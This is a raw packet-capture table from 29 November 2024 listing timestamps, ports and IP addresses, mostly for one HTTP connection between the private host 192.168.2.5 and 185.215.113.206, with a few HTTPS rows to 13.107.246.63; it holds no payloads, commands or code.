Nov 29, 2024 19:49:44.925671101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.925826073 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.925873995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.926762104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.926811934 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.926876068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.926918983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.927898884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.927946091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.928025961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.928073883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.929073095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.929120064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.929198980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.929243088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.930157900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.930207014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.930217981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.930258989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.931303978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.931356907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.931462049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.931504011 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.932430029 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.932486057 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.932574987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.932620049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.933598995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.933667898 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.933702946 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.933753014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.934722900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.934771061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.934808969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.934854031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.935875893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.935940981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.935970068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.936016083 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.937057972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.937105894 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.937196016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.937242985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.938194036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.938247919 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.938318968 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.938365936 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.939285994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.939330101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.939393997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.939440012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.940428019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.940479040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.940591097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.940634966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.941559076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.941607952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.941673040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.941715956 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.942733049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.942753077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.942783117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.942810059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.943825960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.943883896 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.952476978 CET	443	49784	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.952555895 CET	443	49784	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.952613115 CET	49784	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.952876091 CET	49784	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.952876091 CET	49784	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.952898979 CET	443	49784	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.952908993 CET	443	49784	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.956193924 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.956224918 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.956324100 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.956523895 CET	49790	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.956535101 CET	443	49790	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.987752914 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.987823963 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.987835884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.987878084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.988265991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.988279104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.988321066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.989413023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.989459038 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.989622116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.989666939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.990567923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.990611076 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.990745068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.990787029 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.991677046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.991734028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.991796970 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.991837025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.992763996 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.992877960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.992925882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.992978096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.993017912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.994030952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.994081974 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.994088888 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.994122028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.995098114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.995153904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.995219946 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.995263100 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.995837927 CET	49786	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.995851040 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.996380091 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.996450901 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.996480942 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.996515989 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.996732950 CET	49786	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:44.996740103 CET	443	49786	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:44.997422934 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.997472048 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.997577906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.997618914 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.998496056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.998541117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.998610020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.998650074 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.999645948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.999692917 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:44.999753952 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:44.999798059 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.000852108 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.000896931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.000901937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.000938892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.001924038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.001971006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.002026081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.002065897 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.003066063 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.003115892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.003145933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.003189087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.004358053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.004409075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.004445076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.004487991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.005414009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.005462885 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.005496979 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.005537987 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.006618023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.006694078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.006719112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.006759882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.007675886 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.007723093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.007776976 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.007821083 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.009011984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.009066105 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.009195089 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.009234905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.010453939 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.010503054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.010607958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.010651112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.011457920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.011507034 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.011713982 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.011763096 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.012722969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.012784958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.012841940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.012885094 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.013739109 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.013792038 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.014033079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.014080048 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.014924049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.014981031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.015014887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.015055895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.015877008 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.015928030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.015957117 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.016000032 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.016915083 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.016984940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.016988993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.017019987 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.017873049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.017926931 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.017976999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.018017054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.019020081 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.019074917 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.019104958 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.019145012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.020139933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.020191908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.020217896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.020260096 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.119858980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.120042086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.120095015 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.120371103 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.120409012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.120420933 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.120632887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.120677948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.120718002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.120759964 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.121783972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.121829033 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.121840954 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.121874094 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.122906923 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.122962952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.122973919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.123016119 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.124067068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.124119043 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.124196053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.124243975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.125230074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.125283003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.125288963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.125328064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.126334906 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.126388073 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.126832008 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.126883984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.126970053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.127016068 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.127959967 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.128010035 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.128146887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.128195047 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.129275084 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.129329920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.129359007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.129396915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.130261898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.130314112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.130341053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.130382061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.131405115 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.131458998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.131557941 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.131603956 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.132584095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.132635117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.132671118 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.132711887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.133677959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.133727074 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.133804083 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.133848906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.134800911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.134844065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.134854078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.134881973 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.135977030 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.136025906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.136178017 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.136224031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.137104988 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.137161016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.137212038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.137259007 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.138231039 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.138281107 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.138360977 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.138406992 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.139439106 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.139516115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.139664888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.139712095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.140510082 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.140556097 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.140613079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.140655041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.141638994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.141685963 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.141757965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.141803980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.142872095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.142925024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.143054962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.143105984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.144026995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.144079924 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.144169092 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.144217014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.145102978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.145137072 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.145155907 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.145179033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.189023018 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.189099073 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.189148903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.189198971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.189973116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.190025091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.190095901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.190141916 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.190974951 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.191023111 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.191030025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.191063881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.192261934 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.192315102 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.192346096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.192384005 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.193090916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.193172932 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.193190098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.193236113 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.194288015 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.194340944 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.194366932 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.194407940 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.195203066 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.195255041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.195322037 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.195373058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.196336985 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.196400881 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.196525097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.196573019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.197491884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.197542906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.197715044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.197767019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.198609114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.198656082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.198715925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.198769093 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.199743986 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:45.199798107 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:45.199871063 CET	80	49772	185.215.113.206	192.168.2.5
